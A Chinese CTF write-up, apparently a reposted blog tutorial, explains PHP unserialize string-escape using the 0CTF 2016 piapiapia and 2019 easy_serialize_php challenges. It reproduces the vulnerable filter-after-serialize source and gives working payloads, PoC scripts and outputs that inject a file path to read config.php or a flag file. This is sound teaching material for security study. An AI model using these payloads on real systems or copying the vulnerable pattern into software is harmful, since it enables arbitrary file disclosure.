好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

关于PHP反序列化字符串逃逸

推荐:《PHP视频教程》

通过 CTF 比赛了解 PHP 反序列化,记录自己的学习。

借用哈大佬们的名言 任何具有一定结构的数据, 如果经过了某些处理而把结构体本身的结构给打乱了 ,则有可能会产生漏洞。 0CTF 2016piapiapia-----反序列化后长度递增 安询杯2019-easy_serialize_php-----反序列化后长度递减

0CTF 2016piapiapia 由于是代码审计,直接访问 www.zip 发现备份的源码,有一下文件,flag就在 config.php ,因此读取即可

class.php    //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点)
config.php   //环境配置
index.php    //登陆
profile.php  //查看自己上传的文件
register.php //注册
update.php   //文件上传

源码分析 然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看 SQL 咯,发现 class.php 中 mysql 类的filter过滤函数,过滤了增删查改,基本无望. 后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在 profile.php 中发现对上传的文件进行反序列化处理,并对文件 $profile['photo'] 进行读取.我们再回到文件上传点,发现 $profile['photo'] = 'upload/' . md5($file['name']); ,但是我们无法获取加密后的文件值,后面有又看到 文件上传是先序列化,再进过 filter 函数替换一些关键字,再反序列化 ,因此文件可能发生改变,因此可能有漏洞

payload构造 我们知道,PHP反序列化时以 ; 作为分隔点, } 做为结束标志,根据长度来判断读取多少字符,我们无法控制 $profile['photo'] 但是可以控制 nickname ,而 nickname 又进行了长度限制, strlen 函数却无法处理数组,因此用 数组进行绕过 即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的 ";} 是为了闭合前面数组 nickname 的 { ,后面的 ;} 是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.
";}s:5:"photo";s:10:"config.php";}

这时构造了 payload ,那么就要来计算溢出数量了,我们构造的 payload长度为34 ,那么就要增加34个长度,由于 where 变成 hacker 会增加一个长度,那么我们就需要34个 where ,最终payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理解析
<?php

function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$profile = array(
    'phone'=>'01234567890',
    'email'=>'12345678@11.com',
    'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>

输出结果展示,最开始不用进过 filter 函数反序列化时, nickname 数组的第一个值没被截断是一个整体

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
,刚好204个长度,经过filter过滤函数后, where 变成了 hacker ,反序列化的长度变化了,但是又只读取204的长度,则 s:5:"photo";s:10:"config.php";}";} 就多出来了,作为另一个反序列化的其中一个元素,而末尾的 '} 又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {
  'phone' =>
  string(11) "01234567890"
  'email' =>
  string(15) "12345678@11.com"
  'nickname' =>
  array(1) {
    [0] =>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  'photo' =>
  string(10) "config.php"
}

安询杯2019-easy_serialize_php

源码
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

分析 源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点: extract 变量覆盖, file_get_contents 任意文件读取. 将变量 $userinfo['img'] 逆推回去发现,是由参数 img_path 控制的,但是经过 sha1 加密,我们无法得知加密后内容,但结合前面的 extract 变量覆盖,我们可以自己POST构造. 构造了之后,会经过序列化 filter 函数替换一些字符( 那么此时序列化后的数据则发生了变化,可能存在漏洞 ),再反序列化,读取参数值.

payload构造 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是 img , user , function ,而我们能控制的只有后面两个,我们需要构造的payload是这样的
f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
但是不经任何改变则是这样的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
我还是利用截断的思想不让其读取元素 img 的值,我们自己来构造这个值,只有两个参数,必须在 function 哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬( 吞噬的长度自己酌情参考,一般是到自己能控制的点就好 )后面的长度,来构造自己的payload咯,我们就选 user 元素吧, len('";s:8:"function";s:10:"' )的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用 6个flag 就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的 img 进行截断
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需 } 即可,并且不为读取的字符即可,因此添加 f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";} ,这里我们新增了一个元素,因此吞噬后 function 元素消失了,随便补充好元素即可.

原理解析
<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$arr = array(
    "user"=>"flagflagflagflagflagflag",
    "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
    //"user"=>'guest',
    //"function"=>'show_image',
    "img"=>sha1(base64_encode('guest_img.png'))
);

print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));

?>
输出展示
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
    [user] => ";s:8:"function";s:62:"2
    [img] => ZDBnM19mMWFnLnBocA==
    [tql] => tql
)

以上就是关于PHP反序列化字符串逃逸的详细内容!

查看更多关于关于PHP反序列化字符串逃逸的详细内容...

  阅读:45次